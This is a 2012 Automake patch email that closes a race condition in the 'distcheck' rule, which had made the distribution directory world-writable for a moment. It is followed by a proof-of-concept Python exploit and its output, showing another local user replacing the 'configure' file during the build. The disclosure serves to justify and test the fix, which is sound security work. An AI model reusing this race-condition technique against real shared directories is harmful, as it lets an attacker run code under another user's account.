From 6083c86d4b195bf3e9bbaa64acfeb57c3302d4a2 Mon Sep 17 00:00:00 2001 Message-Id: <6083c86d4b195bf3e9bbaa64acfeb57c3302d4a2.1341738099.git.stefano.lattarini@gmail.com> From: Stefano Lattarini <stefano.lattarini@gmail.com> Date: Fri, 6 Jul 2012 22:43:04 +0200 Subject: [PATCH] distcheck: never make part of $(distdir) world-writable This fixes a serious security vulnerability. In the 'distcheck' rule, we used to make the just-extracted (from the distribution tarball) $(distdir) directory and all its files and subdirectories read-only; then, in order to create the '_inst' and '_build' subdirectories in there (used by the rest of the recipe) we made the top-level $(distdir) *world-writable* for an instant (the time to create those two directories) before making it read-only again. Even if the world-writability was granted only temporarily and for a vanishingly small time window, it still introduced a potential race condition in which an attacker could execute *any* code on the behalf of the user running "make distcheck" -- game over. Jim Meyering wrote a proof-of-concept script showing that such exploit was easily implemented. This issue is similar to the CVE-2009-4029 vulnerability: <http://lists.gnu.org/archive/html/automake/2009-12/msg00012.html> * lib/am/distdir.am (distdir): Don't make $(distdir) world-writable, not even for an instant; make it user-writable instead, which is enough. Helped-By: Jim Meyering <jim@meyering.net> Signed-off-by: Stefano Lattarini <stefano.lattarini@gmail.com> --- lib/am/distdir.am | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/am/distdir.am b/lib/am/distdir.am index e27b650..f636a1e 100644 --- a/lib/am/distdir.am +++ b/lib/am/distdir.am @@ -449,7 +449,7 @@ distcheck: dist ## Make the new source tree read-only. Distributions ought to work in ## this case. However, make the top-level directory writable so we ## can make our new subdirs. - chmod -R a-w $(distdir); chmod a+w $(distdir) + chmod -R a-w $(distdir); chmod u+w $(distdir) mkdir $(distdir)/_build mkdir $(distdir)/_inst ## Undo the write access. -- 1.7.9.5 As mentioned above, I wrote a script to demonstrate how to exploit this flaw: Here's the output from running the exploit: It shows that the attacker, "nobody", has just created the configure file in my temporary $(distdir) directory: $ sudo -u nobody /tmp/distcheck-exploit -rwxr-xr-x. 1 nobody nobody 0 Jul 8 10:08 /tmp/cppi/cppi-1.16.28-8137/configure That happened while I was running "make distcheck", which failed like this (due to the contents of that configure file): $ make distcheck ... rm -rf /tmp/cppi/tests/torture/cppi/test rmdir /tmp/cppi/tests/torture/cppi /tmp/cppi/tests/torture ======================== ready for distribution: cppi-1.16.28-8137.tar.xz ======================== make[2]: Leaving directory `/tmp/cppi' make[1]: Leaving directory `/tmp/cppi' you lose make[1]: Entering directory `/tmp/cppi/cppi-1.16.28-8137/_build' make[1]: *** No targets specified and no makefile found. Stop. make[1]: Leaving directory `/tmp/cppi/cppi-1.16.28-8137/_build' make: *** [distcheck] Error 1 Here's the exploit script. It hard-codes the path to the directory that "make distcheck" will create, but could be generalized to detect that automatically, given o+r access: ============================================= #!/usr/bin/env python from pyinotify import * # set-up: clone cppi into /tmp; ensure /tmp/cppi allows o+x access # start this script, running as "nobody": # sudo -u nobody /tmp/distcheck-exploit # Run "make distcheck" as yourself, with umask 022: # (umask 022; cd /tmp/cppi && make distcheck) dir = '/tmp/cppi/cppi-1.16.28-8137' class ProcessTransientFile(ProcessEvent): def process_IN_ATTRIB(self, event): cf = dir + '/configure' try: os.unlink(cf) except: return with open(cf, 'w') as f: f.write("#!/bin/sh\necho you lose\n") f.close os.chmod(cf, 0755) os.system("ls -l " + cf) def process_default(self, event): pass wm = WatchManager() notifier = Notifier(wm) wm.watch_transient_file(dir, IN_ATTRIB, ProcessTransientFile) notifier.loop() =============================================